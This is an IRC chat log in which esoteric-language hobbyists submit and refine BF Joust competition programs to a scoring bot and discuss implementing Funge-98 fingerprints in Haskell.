18:58:02 <elliott> print FOOP "hello\n";
18:58:02 <elliott> close FOOP;
18:58:04 <elliott> darn doesn't work
18:58:51 <nescience> hey gregor
18:59:08 <nescience> I noticed from breakdown.txt that there are four results for bfjoust runs
18:59:14 <elliott> $ perl 42>x; cat x
18:59:14 <elliott> open FOOP, ">&42";
18:59:15 <elliott> print FOOP "hello\n";
18:59:15 <elliott> hello
18:59:15 -!- pingveno has joined.
18:59:16 <elliott> nailed it
18:59:26 <nescience> presumably polarity switches: ++ +- -+ --
18:59:36 <Gregor> nescience: Yes yes, and they're redundant, we know.
18:59:41 <nescience> ok
18:59:51 <ais523> Gregor: EgoBot's BF Joust hg repo seems out of date
18:59:59 <ais523> it has sicilian_defence at the tip, for some reason
19:00:01 <nescience> I figured it'd run twice as fast
19:00:01 <Vorpal> Gregor, heh you could cut time in half by just using ++ and +-
19:00:15 <nescience> lol he just acknowledged that ;)
19:00:25 <ais523> my local copy of egojoust has a command-line param to choose tapelength, and swaps polarity of one of the programs if it's negative
19:00:27 <elliott> my $_SHIRO_FUN = sub { eval($ARGV[0]); }
19:00:27 <elliott> open my $_SHIRO_OUT = ">&42";
19:00:27 <elliott> print $_SHIRO_OUT $_SHIRO_FUN->();
19:00:34 <elliott> *OUT, "
19:00:47 <ais523> also, exits silently if it's between -9 and 9, so I can just use seq -30 30 | xargs -n 1 to run a pair of programs at all lengths and polarities
19:00:58 <elliott> Gregor: Srsly, just make it +- -+.
19:01:00 <Vorpal> elliott, that's a nice solution
19:01:06 <Vorpal> elliott, ... :P
19:01:12 <elliott> Vorpal: ?
19:01:23 <ais523> elliott: do you mean +- ++?
19:01:26 <Deewiant> elliott: Shouldn't it be ++ +-?
19:01:31 <elliott> erm, right
19:01:33 <Vorpal> elliott, 1) nice solution to perl code 2) "..." to +- -+
19:01:35 <elliott> ++ +-
19:01:39 <Gregor> elliott: DUMBASS oh burn
19:01:41 <Deewiant> :-D
19:01:47 <elliott> f u
19:02:00 <elliott> I LIKE THE PART WHERE SYSTEM.PROCESS SUCKS
19:02:03 <nescience> +- -+ are the same
19:02:05 <Gregor> ais523: Now what's this about a repo being out of date?
19:02:09 <nescience> efb
19:02:15 <nescience> phonetyping blol
19:02:22 <ais523> Gregor: I just pulled and updated; apparently "hg tip" lists summary: Adding/updating impomatic_sicilian_defence.bfjoust
19:02:24 <elliott> Deewiant: Can your pipe thing handle fd 42
19:02:25 <nescience> cold fingers too
19:02:30 <ais523> and that definitely isn't the most recent program submitted
19:02:40 <Deewiant> elliott: Beats me
19:02:52 <Gregor> ais523: That's pretty bizarre ... don't care to fix it right now :P
19:02:55 <elliott> "perl api from haskell" -- NO RELEVANT RESULTS
19:03:01 <elliott> Gregor: I think you broke it when doing the new hill
19:03:21 <Gregor> elliott: Probably
19:03:47 <Vorpal> elliott, use the C FFI to call fork() ?
19:03:50 <elliott> You know what, fuck Perl.
19:03:55 <Vorpal> elliott, not sure what the hell that would do to haskell though
19:04:01 <elliott> Vorpal: That would... yeah, no.
19:04:24 <Vorpal> elliott, but since it's C FFI is so wonderful (according to one E. Hird) I'm sure it will handle it
19:04:25 <elliott> BOOL!
19:04:26 <ais523> it's got to be worth a try
19:04:28 <elliott> BOOL looks fucking easy.
19:04:33 <elliott> I'm doing Bool.
19:04:43 <elliott> ais523: no, fork() in Haskell code is the kind of thing that would make GHC's runtime hate you, I think
19:04:44 <Deewiant> The mathy ones are easy in general
19:04:50 <Deewiant> FIXP, FPSP, FPDP, etc.
19:04:58 <Vorpal> yeah
19:05:13 <Vorpal> Deewiant, well FIXP has a snag. Does haskell have long double?
19:05:37 <Deewiant> Why does FIXP need long double
19:06:08 <Gregor> Bleh, repo went all corruptomatic.
19:06:09 <Vorpal> Deewiant, well you could do sin() fixed point :P
19:06:34 <Gregor> ais523: Repull?
19:06:51 <Deewiant> Aren't doubles accurate enough for that? (I haven't bothered looking at the details)
19:06:53 <Ilari> What repo?
19:06:57 <ais523> in_egobot
19:07:12 <ais523> Vorpal: it's not too hard, use the Taylor series
19:07:13 <ais523> Gregor: doing so
19:07:21 <ais523> that looks better, ty
19:07:57 <Vorpal> ais523, "meh"
19:08:28 <elliott> Haskell has long double, it's called Double.
19:08:37 <elliott> Erm.
19:08:41 <elliott> Wait, long double.
19:08:46 <elliott> @hoogle Bool -> Bool -> Bool
19:08:47 <lambdabot> Prelude (&&) :: Bool -> Bool -> Bool
19:08:47 <lambdabot> Prelude (||) :: Bool -> Bool -> Bool
19:08:47 <lambdabot> Data.Bool (&&) :: Bool -> Bool -> Bool
19:08:55 <elliott> I meant xor, stupid search.
19:09:07 <oerjan> "xor"
19:09:15 <Deewiant> @hoogle xor
19:09:15 <lambdabot> Data.Bits xor :: Bits a => a -> a -> a
19:09:19 <Deewiant> elliott: Say what you mean
19:09:24 <elliott> Deewiant: I meant boolean xor.
19:09:30 <Deewiant> elliott: (!=)
19:09:35 <oerjan> */=
19:09:40 <Deewiant> Bleh
19:09:54 <elliott> I like how BOOL's N is just ! from the core.
19:10:38 <Deewiant> elliott: Nope, it's one's complement
19:10:49 <elliott> ...based on what
19:10:51 <Deewiant> If you're doing BOOL you want the Data.Bits stuff
19:10:58 <elliott> THEN WHY IS IT CALLED BOOL
19:10:58 <Deewiant> Based on how it works
19:11:07 <elliott> IT'S NOT BOOL, IT'S BITW
19:12:46 <elliott> :t fmap
19:12:47 <lambdabot> forall a b (f :: * -> *). (Functor f) => (a -> b) -> f a -> f b
19:12:48 <coppro> /win/win 3
19:16:21 <elliott> Dude! Deewiant! Mycology doesn't test BOOL!
19:16:26 <elliott> Unforgivable!
19:16:57 <elliott> Oh well, it passes Mike's test :P
19:19:12 <ais523> defend14 is running locally, I wonder how well it'll do?
19:19:22 <ais523> I added a few extra strategies for it to detect and lock in place, or counter differently
19:20:10 <ais523> but it's going kind-of slowly; it doesn't /quite/ break egojoust, but it's pretty complex
19:20:30 <elliott> ais523: In the year 3000, all BF Joust programs will be at least 3000 lines long, with the top competitors at about 17,000 lines of carefully tweaked code developed by teams. Then someone will come along and submit >[[-]>+] and it'll beat them all.
19:20:41 <ais523> haha
19:20:56 <ais523> don't you mean >+[[-]>+]?
19:20:59 <elliott> er, yes
19:21:03 <Gregor> elliott: Funny since that code moves one step to the --- damn, ais523 got it first :P
19:21:04 <elliott> I was going for defend1, but forgot it
19:21:08 <Gregor> [+right and then quits]
19:21:12 <elliott> Gregor: THAT'S JUST HOW BAD THEY ARE
19:21:34 <ais523> I don't thing >+[[-]>+] can win unless the opponent suicides
19:21:42 <ais523> and it puts a helpful + there so that tripwire-avoiders can also kill it
19:22:05 <quintopia> however....
19:22:06 <elliott> !bfjoust muphry >+[[-]>+
19:22:08 <elliott> oops
19:22:09 <elliott> !bfjoust muphry >+[[-]>+]
19:22:36 <EgoBot> Score for elliott_muphry: 7.8
19:22:36 <EgoBot> Score for elliott_muphry: 7.8
19:23:09 <quintopia> !bfjoust flyingleap >>>>>>>>>>>>>>>+[>[[-]]+]
19:23:21 <elliott> 7.8 both times, classic
19:23:29 <EgoBot> Score for quintopia_flyingleap: 1.6
19:23:33 <quintopia> lul
19:23:54 <Deewiant> !bfjoust bungee >+>>>>>>>>>>>>>>+[>[[-]]+]
19:24:03 <ais523> I'm not sure how well my mindbogglingly slow rush detector will work
19:24:10 <ais523> (or whether it'll actually win after detecting it)
19:24:15 <EgoBot> Score for Deewiant_bungee: 3.1
19:24:21 <Deewiant> !bfjoust bungee >+>>>>>>>>>>>>>>+[[-]>+]
19:24:32 <elliott> !bfjoust but_what_of_faith >->+>-(>)*16((-)*5[-]>+(+)*5[+]>+)*13
19:24:42 <EgoBot> Score for Deewiant_bungee: 2.9
19:24:58 <EgoBot> Score for elliott_but_what_of_faith: 0.8
19:25:01 <quintopia> that's not a proper offset clear elliott. what are you doing.
19:25:08 <elliott> hm
19:25:12 <elliott> why did it do _so_ badly?
19:25:22 <ais523> (-)*5[-]
19:25:27 <ais523> that's like... the opposite of an offset clear
19:25:32 <elliott> oh, duh :D
19:25:48 <elliott> ais523: it would have been hilarious if that worked
19:25:57 <ais523> also, it looks rather like it goes off the end of the tape quite readily
19:25:58 <elliott> !bfjoust but_what_of_faith >->+>-(>)*16((-)*5[+]>+(+)*5[-]>+)*13
19:26:01 <elliott> ais523: thus the name
19:26:04 <elliott> (derived from "leap of faith")
19:26:07 <elliott> (inspired by "flyingleap")
19:26:11 <EgoBot> Score for elliott_but_what_of_faith: 1.0
19:26:23 <ais523> in particularly, the *13 at the end is higher than it needs to be for no reason at all
19:26:29 <quintopia> the idea is that you die on short tape, but on long tape, you skip all of the decoys
19:26:32 <elliott> er, is it?
19:26:34 <elliott> that's a mistake then
19:26:35 <ais523> you may as well stop and do a proper clear if you happen to reach the 30th cell
19:26:39 <Deewiant> The tape length is 20-30
19:26:42 <ais523> Deewiant: *10-30
19:26:48 <Deewiant> Darn
19:27:00 <Deewiant> elliott: So yeah, the (>)*16 is a good way to lower your score
19:27:05 <nescience> apparently faith gets you nowhere
19:27:07 <nescience> ;)
19:27:10 <elliott> oh, it's actually >>*13
19:27:13 <elliott> duh
19:27:40 <ais523> also, it's intruiging why defend9 is doing a lot better than it used to
19:27:45 <ais523> perhaps people have stopped trying to counter it
19:27:52 <elliott> !bfjoust but_what_of_faith >->+>-(>)*15((-)*5[+]>+(+)*5[-]>+)*5(-)*100[-]
19:28:08 <EgoBot> Score for elliott_but_what_of_faith: 1.1
19:28:08 <ais523> (and I'm curious as to whether tripstridewire will ever fall off altogether, or just stay near the bottom indefinitely)
19:28:14 <elliott> 1.1!
19:28:16 <elliott> that's a win in my book
19:28:36 <elliott> !bfjoust but_what_of_faith >->+>-(>)*6((-)*5[+]>+(+)*5[-]>+)*10(-)*100[-]
19:28:42 <quintopia> ais523: taller_towers also beats that one for some reason
19:28:43 <elliott> off-by-ones are my main bug i think usually
19:28:58 <EgoBot> Score for elliott_but_what_of_faith: 18.3
19:29:03 <quintopia> wat
19:29:12 <quintopia> oh
19:29:13 <nescience> lol I was thinking about trying to add some extra >s to careless
19:29:19 <quintopia> you took out the fall-off code
19:29:20 <nescience> to skip a few decoys
19:29:23 <elliott> 18.3!
19:29:24 <elliott> that's not bad
19:29:41 <elliott> !bfjoust but_what_of_faith >->+>-(>)*6((-)*5[++][+]>+(+)*5[--][-]>+)*10(-)*100[-]
19:29:42 <Gregor> !bfjoust turtles_can_fly_but_slowly ((>++>--)*4<<<<)*1000(>)*8-[[+>(+)*128..>(-)*128..-]+]
19:29:46 <elliott> Gregor: best name ever
19:29:47 <ais523> the thing is, adding extra >s gains you as much in skipping decoys as it loses in falling off the tape
19:29:56 <ais523> unless the opponent is leaving a decoy trail, and that's rare nowadays
19:29:57 <elliott> why do all the good players use boring names?
19:29:59 <quintopia> course it's not bad. fast rushers with offset clears do not bad. there is no faith anymore.
19:30:01 <nescience> yeah
19:30:02 <elliott> and all the bad players use awesome names
19:30:05 <elliott> what's up with that
19:30:10 <elliott> nescience: i'm counting on you to start using some of this good name juice
19:30:13 <nescience> I was just curious what would happen
19:30:17 <ais523> although I will point out that it falls off the end of the tape quite aerly
19:30:24 <nescience> what, I like my names
19:30:34 <nescience> I like good words and simple names
19:30:38 <elliott> >_<
19:30:41 <elliott> you all suck
19:30:46 <ais523> I like impomatic's names
19:30:50 <nescience> also non table breaking
19:30:57 <ais523> but I prefer mine to be descriptive so I can easily remember what they did
19:31:01 <EgoBot> Score for elliott_but_what_of_faith: 1.5
19:31:02 <EgoBot> Score for Gregor_turtles_can_fly_but_slowly: 0.0
19:31:06 <ais523> and some are fun, like "decoybooster"
19:31:10 <Gregor> ... wow, really, that bad?
19:31:13 <quintopia> i was looking up chess openings last night, trying to figure out what the sicilian opening had to do with bf joust...
19:31:30 <ais523> Gregor: you repeatedly go right eight times, then left four
19:31:37 <ais523> I'm not entirely sure what that's meant to accomplish, but it won't help much
19:31:39 <Gregor> ais523: Oh, hahahah, I can totally count X-D
19:31:44 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++(>)*3((-)*10[+]>+(+)*10[-]>+)*10(-)*100[-]
19:32:05 <EgoBot> Score for elliott_but_what_of_faith: 19.5
19:32:16 <elliott> 19.5!
19:32:18 <ais523> in_egobot/ais523_defend13.bfjoust vs defend14.bj: 11 (standard): Tie (left loss: flag fell; right loss: flag fell)!
19:32:19 <nescience> maybe I should rename all my programs that are good to have epic names :P
19:32:20 <ais523> now, that's rare
19:32:23 <elliott> decoys are back
19:32:24 <elliott> seriously
19:32:25 <elliott> decoys
19:32:28 <elliott> they're what's for dinner
19:32:31 <ais523> although makes sense, because they both detect each other as defence programs and go symmetrically from there
19:32:45 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++>---->+>--((-)*10[+]>+(+)*10[-]>+)*10(-)*100[-]
19:33:16 <EgoBot> Score for elliott_but_what_of_faith: 19.8
19:33:32 <oerjan> <Gregor> ... wow, really, that bad? <-- this is not Discworld you know
19:33:40 <Gregor> !bfjoust turtles_can_fly_but_slowly ((>++>--)*4<<<<<<<<)*250(>)*8-[[+>[+]..>[-]..-]+]
19:33:43 <elliott> 19.8
19:33:47 <elliott> ais523: do you think this can work :D
19:33:54 <elliott> i really think everybody forgot that decoys exist
19:34:01 <ais523> hmm, looks like 14 is too clever for its own good
19:34:04 <ais523> I probably won't submit it
19:34:08 <ais523> as it wouldn't do too well
19:34:09 <EgoBot> Score for Gregor_turtles_can_fly_but_slowly: 1.5
19:34:10 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++>---->+>--((-)*10[+]>+(+)*10[-]>+)*20(-)*100[-]
19:34:15 <Gregor> >_<
19:34:17 <Gregor> OK, no more flying turtles :P
19:34:18 <quintopia> i don't understand how turtle_rescue_squad hung on so long :P
19:34:47 <EgoBot> Score for elliott_but_what_of_faith: 19.7
19:34:48 <nescience> what do you mean forgot
19:35:00 <nescience> I have decoys in every program I wrote?
19:35:04 <elliott> i just realised that mine doesn't work for tape length >20 or so
19:35:04 <elliott> but eh
19:35:05 <elliott> well
19:35:06 <elliott> doesn't wor kas well
19:35:07 <elliott> so
19:35:11 <elliott> constant tweaking time
19:35:16 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++>---->+>--((-)*10[+]>+(+)*10[-]>+)*17(-)*100[-]
19:35:38 <EgoBot> Score for elliott_but_what_of_faith: 19.7
19:35:54 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++>---->+>--((-)*10[+]>+(+)*10[-]>+)*13(-)*100[-]
19:36:20 <EgoBot> Score for elliott_but_what_of_faith: 19.7
19:36:24 <elliott> meh
19:36:27 <elliott> !bfjoust but_what_of_faith >->+>->+>-->++>---->+>--((-)*10[+]>+(+)*10[-]>+)*10(-)*100[-]
19:36:31 <elliott> just go back to that version
19:36:36 <elliott> !bfjoust
19:36:36 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:36:49 <EgoBot> Score for elliott_but_what_of_faith: 19.8
19:36:58 <elliott> ok, i primarily win against Gregor
19:36:59 <elliott> it seems :D
19:38:55 <Gregor> !bfjoust furry_furry_bondage_girls [[(-)*128((+)*10(-)*20(+)*19(-)*18(+)*17(-)*16(+)*15(-)*14(+)*13(-)*12(+)*11(-)*10(+)*9(-)*8(+)*7(-)*6(+)*5(-)*4(+)*3(-)*2(+)*1)*1000(+)*128]+]
19:39:02 <elliott> ...best warrior name ever?
19:39:32 <quintopia> <ais523> wiggle3 leaves a trail behind as it moves <ais523> unless the opponent is leaving a decoy trail, and that's rare nowadays
19:39:47 <elliott> !bfjoust my_name_may_be_super_bat_man_but_my_real_name_is_peter_bruce_parker_wayne >(-)*127>(+)*127>+>->>++>----------->+>+++++[>-[-]>-[+]]
19:39:53 <quintopia> strange. one of the top players leaves a trail, so why is it so rare?
19:40:08 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 15.4
19:40:09 <elliott> quintopia: because we all got lost in meta-strategy
19:40:11 <ais523> quintopia: it's just an observation, not a statement about what ought to be true
19:40:18 <elliott> and the more advanced warriors started not needing decoys
19:40:18 <Gregor> :(
19:40:21 <elliott> because of their strange tactics
19:40:27 <elliott> then when it all blended together and they became less specialised
19:40:32 <elliott> we forgot to start doing decoys again
19:40:51 <EgoBot> Score for elliott_my_name_may_be_super_bat_man_but_my_real_name_is_peter_bruce_parker_wayne: 1.5
19:41:07 <elliott> :(
19:41:18 <elliott> Decoys + modified defend1: NOT THE BEST STRATEGY
19:41:33 <elliott> Gregor_furry_furry_bondage_girls.bfjoust vs elliott_my_name_may_be_super_bat_man_but_my_real_name_is_peter_bruce_parker_wayne.bfjoust:
19:41:33 <elliott> <>>XXXXXXXXXXXXXXXXXX <<>XXXXXXXXXXXXXXXXXX <<>XXXXXXXXXXXXXXXXXX <>>XXXXXXXXXXXXXXXXXX
19:41:34 <elliott> Tie
19:41:41 <quintopia> FWIW, taller_towers also leaves a decoy trail (and it now is beating wiggle3)
19:41:42 <elliott> Gregor: Shit buddies *hi5*
19:41:48 <Gregor> Woooh
19:42:21 <quintopia> Gregor: wtf does FFBG doooooooo?
19:42:31 <elliott> !bfjoust a_more_perfect_union >-[[-]++++>-[+]----->+]
19:42:34 <Gregor> quintopia: It's just a (very bad) shudderer
19:42:41 <quintopia> that's what it looks like :P
19:43:20 <Gregor> !bfjoust even_worse_shudderer (-)*127(.+-)*100000
19:43:59 <Gregor> Err ... wow, yeah that one is bad :P
19:44:04 <quintopia> that's an alternator gregor
19:44:06 <Gregor> Worse than I even intended it to be.
19:44:10 <elliott> a more perfect union is not doing well
19:44:14 <quintopia> but
19:44:18 <elliott> it's a metaphor
19:44:19 <elliott> for america
19:44:19 <quintopia> a sucky alternator i guess
19:44:23 <Gregor> quintopia: I refuse to actually know your terminology.
19:44:46 <quintopia> Gregor: it'll be stridewire :P
19:44:48 <quintopia> *beat
19:45:17 <elliott> "DIRF" 0x44495246
19:45:17 <elliott> C(0gnirts -- )Change directory
19:45:17 <elliott> M(0gnirts -- )Make a directory
19:45:17 <elliott> R(0gnirts -- )Remove a directory
19:45:20 <elliott> Deewiant: Does CCBI do that
19:46:10 <ais523> ah, I found a few bugs in defend14
19:46:31 <ais523> Gregor: is that shuddering between 1 and 2? very slowly?
19:46:46 <Gregor> ais523: Yes X-P
19:46:52 <ais523> why?
19:46:58 <Gregor> ais523: I DON'T KNOW
19:47:41 <elliott> ais523_defend13.bfjoust vs elliott_a_more_perfect_union.bfjoust:
19:47:41 <elliott> <X<X<X<X<X<X<X<X<X<X< X<XXX<XXX<XXX<XXX<XXX X<XXX<XXX<XXX<XXX<XXX <X<X<X<X<X<X<X<X<X<X<
19:47:41 <elliott> ais523_defend13.bfjoust wins
19:47:42 <elliott> ooh
19:47:49 <elliott> n.bfjoust:
19:47:50 <elliott> <<<<<<<<<<<<<<<<<<<<< X>X>X>X>X>X>X>X>X>X>X X>X>X>X>X>X>X>X>X>X>X <<<<<<<<<<<<<<<<<<<<<
19:47:50 <elliott> ais523_defend7.bfjoust wins
19:47:50 <elliott> what
19:48:25 <Gregor> I ... think it's accidentally running two sessions at once ... which should be impossible ...
19:48:38 <Deewiant> elliott: Yes, and Mycology tests it
19:48:39 <ais523> breakdown's been doing that for a while
19:48:49 <ais523> if you keep refreshing it, it seems to keep writing in the middle of the file, etc
19:48:55 <ais523> the hill itself seems to work, though
19:49:14 <Gregor> Yeah, the hill only uses the cache, it shouldn't care even if there are fifty sessions running at once.
19:50:16 <EgoBot> Score for Gregor_even_worse_shudderer: 13.7
19:50:17 <EgoBot> Score for elliott_a_more_perfect_union: 5.1
19:50:28 <Gregor> Please hold
19:50:54 <Gregor> Proceed.
19:51:27 -!- nescience has quit (Remote host closed the connection).
19:51:41 <elliott> Gregor: How did it...
19:51:43 <elliott> 13.7... how
19:52:14 -!- ais523 has quit (Read error: Operation timed out).
19:52:20 <elliott> !bfjoust absolutely_fucking_nothing (+)*127(-++-)*10000
19:52:23 <Gregor> Man, anything that beats defend13 gets shitloads of points.
19:52:26 <elliott> X-D
19:52:32 <elliott> As I said, I'm so tempted to write antidefend13.
19:52:38 <elliott> That just targets defend13 and nothing else.
19:52:48 <elliott> UNDEF: either C doesn't work or the 'mycodirf' directory doesn't exist
19:52:51 <elliott> You don't say
19:53:12 <elliott> GOOD: created 'mycodirf' with M
19:53:12 <elliott> GOOD: entered 'mycodirf' directory with C
19:53:12 <elliott> GOOD: left 'mycodirf' with a C to '..'
19:53:12 <elliott> GOOD: can't C into 'mycodirf' after R
19:53:12 <elliott> GOOD: created 'mycodirf' with M
19:53:13 <elliott> Removed 'mycodirf' with R.
19:53:15 <elliott> Why the duplication, to check remaking works?
19:53:31 <Gregor> I don't think that targeting any one competitor will be good enough, but if you targeted the top three you could probably do well.
19:53:39 <Deewiant> Probably, y es.
19:53:44 -!- ais523 has joined.
19:53:47 <elliott> Fingerprints/BOOL.hs Fingerprints/MODU.hs Fingerprints/ROMA.hs
19:53:47 <elliott> Fingerprints/DIRF.hs Fingerprints/NULL.hs
19:53:47 <elliott> Fingerprints/EVAR.hs Fingerprints/REFC.hs
19:53:48 <elliott> Doin' good
19:53:50 <elliott> wow, ais523 was gone?
19:53:57 <elliott> I'm going to do EMEM next.
19:53:58 <Deewiant> For 90 seconds.
19:53:59 <ais523> connection issues
19:54:04 <ais523> I didn't leave on purpose
19:54:15 <Deewiant> I refuse to do EMEM because it's just malloc, and goes against all that is Fungy :-P
19:54:23 <Gregor> ais523: 's too bad since we just knocked defend13 off the hill while you were gone.
19:54:37 <ais523> Gregor: it doesn't /run/ fast enough to get knocked off the hill that quickly
19:54:38 <elliott> "As far as implementing this, hnd can be the direct pointer if it fits within the cell size of the interprter, or else a seperate list can be maintained and this would be the handle into the list."
19:54:42 <elliott> Yay, more handles.
19:54:46 <Gregor> :P
19:54:55 <ais523> in fact, you knocked it above careless
19:55:04 <EgoBot> Score for elliott_absolutely_fucking_nothing: 15.2
19:55:19 <elliott> Err, EMEM is very useless
19:55:21 <ais523> anyway, defend14 now beats careless in one polarity (so draws over all)
19:55:27 <Deewiant> elliott: Precisely :-P
19:55:29 <elliott> Since it offers no way to e.g. do pointer arithmetic
19:55:35 -!- nescience has joined.
19:55:39 <elliott> Deewiant: But hey, uselessness won't stop me.
19:55:40 <ais523> isn't there an alloc-in-fungespace fingerprint?
19:55:42 <ais523> that would be more useful
19:55:52 <Deewiant> There's an alloc-in-fungespace instruction, it's called p
19:55:53 <elliott> ais523: I was going to do fungespace GC but Vorpal was all debbie-downer about it
19:56:16 <quintopia> i think it would be hilarious
19:56:27 <ais523> Deewiant: no, that writes to fungespace; I meant, it finds a bit of unused fungespace that it hasn't allocated
19:56:28 <quintopia> you sure you can do it
19:56:33 <nescience> stupid crashphone!
19:56:33 <elliott> http://www.haskell.org/ghc/docs/6.12.3/html/libraries/base-4.2.0.2/Foreign-Storable.html SEXINESS
19:56:42 <ais523> so you can allocate and deallocate bits of fungespace
19:57:13 <copumpkin> so dependent strongfunge?
19:57:20 <elliott> http://www.haskell.org/ghc/docs/6.12.3/html/libraries/base-4.2.0.2/Foreign-Marshal-Alloc.html
19:57:21 <elliott> MALLOC!
19:57:28 <elliott> copumpkin: :D
19:58:02 -!- Sgeo_ has quit (Ping timeout: 255 seconds).
19:59:03 <elliott> Deewiant: Does anyone actually use all these RC fingerprints
19:59:50 <elliott> Okay, so I just want Ptr Word8.
20:01:18 <Deewiant> elliott: No
20:01:31 <elliott> Deewiant: Kay
20:02:54 <ais523> !bfjoust defend14 http://sprunge.us/DUYc
20:03:00 <ais523> let's hope EgoBot can handle the awesomeness
20:03:13 <ais523> most of its losses are close ones, rather than decisive ones
20:03:18 <ais523> except against quintopia, for some reason
20:04:21 <elliott> we really need lance
20:04:31 <ais523> its main disadvantage is, against most programs, on short tapes
20:04:42 <ais523> also, that the really crazy logic only works on one of the two polarities
20:04:49 <ais523> and on the other one, it just does a defend7 I think
20:05:01 <ais523> ah no, a defend10
20:05:37 <nescience> oshi another defend?
20:05:45 -!- ais523 has quit.
20:06:17 <elliott> counting down from 90 seconds
20:06:23 -!- ais523 has joined.
20:06:25 <oerjan> elliott: lance is your bfjoust interpreter?
20:06:28 <elliott> wb ais523
20:06:31 <elliott> oerjan: yes, the one that never truly got written
20:06:35 <ais523> grr, connection
20:06:35 <elliott> because gregor was faster
20:06:47 <elliott> but it wouldn't have expanded anything because that's stupid
20:07:11 <EgoBot> Score for ais523_defend14: 54.3
20:07:12 <oerjan> indeed
20:07:26 <elliott> oerjan: indeed? you mena that it's stupid?
20:07:28 <ais523> ais523_defend14.bfjoust vs myndzi_careless.bfjoust: <>>>>>>>>>>>>>>>>>>>> <>>>><<<<<<<<<<<<<<<< <>>>><<<<<<<<<<<<<<<< <>>>>>>>>>>>>>>>>>>>> myndzi_careless.bfjoust wins
20:07:29 <oerjan> yes
20:07:49 <ais523> btw, that careless-beating will work against any variation of careless, no matter how much myndzi tweaks the constants
20:07:52 <nescience> do eet elliot
20:07:54 <Deewiant> Another one that beats monorail but loses to steamroller :-/
20:07:55 <ais523> but unfortunately, only on one polarity
20:08:11 <elliott> mind you % is not trivialy
20:08:13 <elliott> *trivial
20:08:22 <elliott> (a[[{c}]d])%n for instance
20:08:38 <oerjan> elliott: it's easy if you have matching
20:08:56 <ais523> heh, 14's actually slightly behind 13
20:09:11 <ais523> because the extra setup it requires means that some programs 13 beats, 14 loses to but only on short tape lengths
20:09:21 <elliott> oerjan: eh?
20:09:43 <elliott> ais523: does the defend13 family of programs place decoys?
20:09:53 <oerjan> elliott: you just keep track of how deeply nested you are in it...
20:10:16 <ais523> elliott: sort-of; defend13 uses three detection cells (tripwires), defend14 uses four
20:10:27 <nescience> it's not that hard to even do unbalanced brackets
20:10:32 <ais523> and they work like decoys, except their values are checked
20:10:44 <ais523> both also have one actual decoy, too
20:10:53 <ais523> umm, no, 13 does, 14 doesn't
20:11:27 <oerjan> elliott: was lance being written in C too?
20:11:51 <elliott> oerjan: well erm yes, purely for the performance aspect, but if you want to contribute some nice haskell code that could be arranged too :P
20:12:16 <oerjan> elliott: i've got a BFJoust.hs window on my screen already
20:12:19 <ais523> anyway, defend13's winning overall on score, defend14 on points
20:12:32 <ais523> so I think I'm dominating the leaderboard both ways
20:12:33 <elliott> oerjan: ofc all the fancy code in the world won't let you run raw bfjoust code faster than C :p
20:12:50 <oerjan> yeah, *sigh*
20:12:52 <elliott> hmm, i think what i just said was heretical
20:13:03 <elliott> oerjan: don't worry. one day ghc will catch up. one day.
20:13:08 <oerjan> well no _elegant_ code, anyway
20:13:13 <ais523> bear in mind that you don't have to run every cycle
20:14:14 <elliott> wat
20:14:33 <ais523> if both programs are looping, and you go back to a previous tape and IP state, you can just skip to the end of the loop
20:14:40 <ais523> or immediately timeout if it's a [] rather than () loop
20:14:49 <ais523> sort-of like hashlife
20:16:52 <ais523> impomatic: was Nyarlathotep designed specifically to beat all your other programs? because it does
20:16:58 <oerjan> hmph my motivation is lousy
20:18:05 <elliott> Deewiant: I just realised how awful EMEM is.
20:18:14 <elliott> Deewiant: it does malloc, not calloc
20:18:14 <Deewiant> Just now?
20:18:14 <elliott> eurgh
20:18:17 <Deewiant> :-)
20:18:21 <elliott> if it was calloc that'd be okay
20:18:22 <elliott> but ew
20:18:24 <elliott> this just breaks...life
20:18:32 <impomatic> ais523: I noticed that too :-( No, not specifically, I just wanted to see what happened if a defender program started defending straight away
20:18:55 <ais523> ah, so it doesn't use a tripwire at all?
20:19:12 <ais523> does it have decoys?
20:20:01 <ais523> heh, shortsword's still on the leaderboard
20:20:02 <ais523> just about
20:20:14 <elliott> !bfjoust aye_said_captain_on_train_of_despair (-)*127[] ... argh, just realised that that doesn't work nay more
20:20:45 <ais523> why would you expect that to work?
20:21:15 <elliott> ais523: because it used to
20:21:16 -!- hiato has joined.
20:21:17 <elliott> before the rules got changed
20:21:20 <elliott> by you :P
20:21:37 <ais523> I don't see how one-cycle death would make that any better than two-cycle death
20:22:21 <elliott> ais523: because ] used to take 0 cycles
20:23:15 <impomatic> ais523: no decoy either, just straight into a defender. No [ ] loops either :-)
20:23:32 <ais523> anyway, I think I know why leaving decoy trails died out
20:23:40 <ais523> it's because they're so vulnerable to offset clear
20:23:59 <quintopia> at least they slow down the offset clearer that uses large offsets
20:24:00 <elliott> !bfjoust my_polarity_brings_all_the_boys_to_the_yard ((-)*64(+)*256)*100000
20:24:17 <ais523> quintopia: not really, they have an equal chance of slowing them down and speeding them up
20:24:43 <elliott> !bfjoust
20:24:43 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
20:24:57 <nescience> well they make them run code
20:25:01 <quintopia> ais523: why so? a good offset clear checks if there's anything there to clear before clearing it...
20:25:03 <elliott> wow, i tie against ais523's defend programs
20:25:05 <nescience> running code is faster than not
20:25:09 <elliott> er, wiat, no
20:25:14 <elliott> I tie to defend10 and 12
20:25:15 <elliott> *wait
20:25:17 <ais523> elliott: even 12 and 13?
20:25:18 <elliott> and lose sildly to 13 and 14
20:25:20 <elliott> *solidly
20:25:20 <EgoBot> Score for elliott_my_polarity_brings_all_the_boys_to_the_yard: 17.8
20:25:24 <elliott> and tie with defend7/9
20:25:28 <ais523> quintopia: oh, most offset clearers I've seen don't
20:25:35 <ais523> although arguably they should
20:25:52 <ais523> offset clear with special cases is what jix's wiggle programs do, and it seemed to work for him
20:26:01 <elliott> !bfjoust my_polarity_brings_all_the_boys_to_the_yard >++>-->++>-->+++>---<<<<<<((-)*64(+)*256)*100000
20:26:06 <elliott> hope i didn't miscount <s there
20:26:09 <ais523> elliott: well, 7,9,10,12 never attack ever; 13/14 do if they think they're playing a defence program
